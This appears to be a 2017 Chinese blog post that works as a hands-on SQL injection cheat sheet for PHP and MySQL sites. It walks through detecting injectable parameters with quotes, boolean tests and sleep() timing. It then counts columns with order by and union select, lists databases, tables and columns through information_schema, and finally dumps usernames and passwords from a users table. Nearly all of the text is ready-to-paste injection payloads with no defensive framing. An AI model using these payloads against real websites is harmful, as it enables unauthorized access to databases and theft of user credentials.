MySQL手工联合查询注入

内容如题

PHP+MySQL简单手工注入基本流程

一、判断是否存在注入

1
2
3
4
5
6
7
8
9
10
11
SQL注入按类型分为两种:数字型和字符型
判断方法的区别:字符型用'判断,数字型用and 1=1 和and 1=2判断
注释方法:
# 编码后为%23,hash语法
-- s 后跟空格后面随意写字符,又例:--+
-- - SQL语法
;%00 可以使用,空字节
/* 必须闭合,C-style语法
· 反引号(左上角的字符)
判断sql注入(显错和基于错误的盲注):单引号,and 1=1 和and 1=2,双引号,反斜杠,注释等
判断基于时间的盲注:在上面的基础上,加个sleep函数 ,如sleep(5) (函数不同数据库有所不同)例子: ' and sleep(5) " and sleep(5)

二、判断有几列数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
order by 1 #一直到出现错误为止
and 1=2 union select 1,2 #一直到成功为止,一般页面会出现显示位,出现显示位的地方可以放我们想要放的东西,例如:user(),database(),@@version,则会在显示位出现连接的用户、数据库、版本等信息
可以放的东西:
database(),schema() #数据库名
user(),current_user(),current_user,system_user(),session_user() #用户@域名
@@version,version(),@@global.version #mysql版本信息
@@basedir #mysql安装路径
@@datadir #数据库存放路径
@@hostname #主机名
@@version_compile_os; #操作系统指纹
@@global.version_compile_os #感觉和上面差不多
now() #当前时间:年月日时分秒
current_date #当前时间:年月日
char() #指定字符
load_file() #读取指定文件
ord(mid(user(),1,1))=114 #系统权限,正常返回说明为root
小工具:火狐F9——》SQL——》union select statement——》输入数字,直接出现联合查询,方便爆出列数

三、得到数据库名

1
2
3
4
5
6
1、使用database()直接得到当前数据库名
2.1 如果database()被过滤,则使用
union select 1,schema_name,3,4,5,6 from information_schema.schemata limit 0,1 查看数据库名,可以通过Limit设置显示第几行,也就可以显示其他的数据库名。根据数据库名爆表名(如果database())被过滤
2.2 UNION SELECT 1,group_concat(schema_name),3,database(),5,6 from information_schema.schemata 显示所有数据库名,函数group_concat是显示所有
2.3 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; MySQL 4版本时用version=9,MySQL 5版本时用version=10
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息

四、得到表名

1
2
3
1、UNION SELECT 1,table_name,3,4,5,6 from information_schema.tables where table_schema='s10' limit 0,1 #显示s10数据库的表名,一个一个来
2、union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema='s10' #显示s10数据库的表名,全部显示
3、SELECT table_name FROM information_schema.tables WHERE table_name LIKE '%user%' #查询包含user的表

五、得到列名

1
2
3
4
1、UNION SELECT 1,2,3,database(),5,column_name from information_schema.columns where table_schema='s10' and table_name='users' limit 0,1 #查询列名,一个一个来
2、union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_schema='s10' and table_name='users' #查询列名,一次全部显示
3、SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%' #查询包含user的列
4、SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE() 获得第一个段名 1 LIMIT 1,1 PROCEDURE ANALYSE() 获得第二个段名 1 LIMIT 2,1 PROCEDURE ANALYSE() 获得第三个段名 #这个需要web展示页面有你所注入查询的一个字段。

六、得到想要的数据

1
2
3
1、union select 1,username,password,4,5,6 from users; #在不同的显示位显示需要的内容
2、union select 1,concat(userename,0x23,password),3,4,5,6 from users; #函数concat可以联合显示数据,0x23是分隔符
3、union select 1,concat_ws(0x23,username,email,age,password),3,4,5,6 from users #函数concat_ws只写一次分隔符即可

本文标题:MySQL手工联合查询注入

文章作者:暮沉沉

发布时间:2017年08月26日 - 09:08

最后更新:2017年08月26日 - 10:08

原始链接:http://maplege.github.io/2017/08/26/MySQLUnionInjection/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------本文结束感谢您的阅读-------------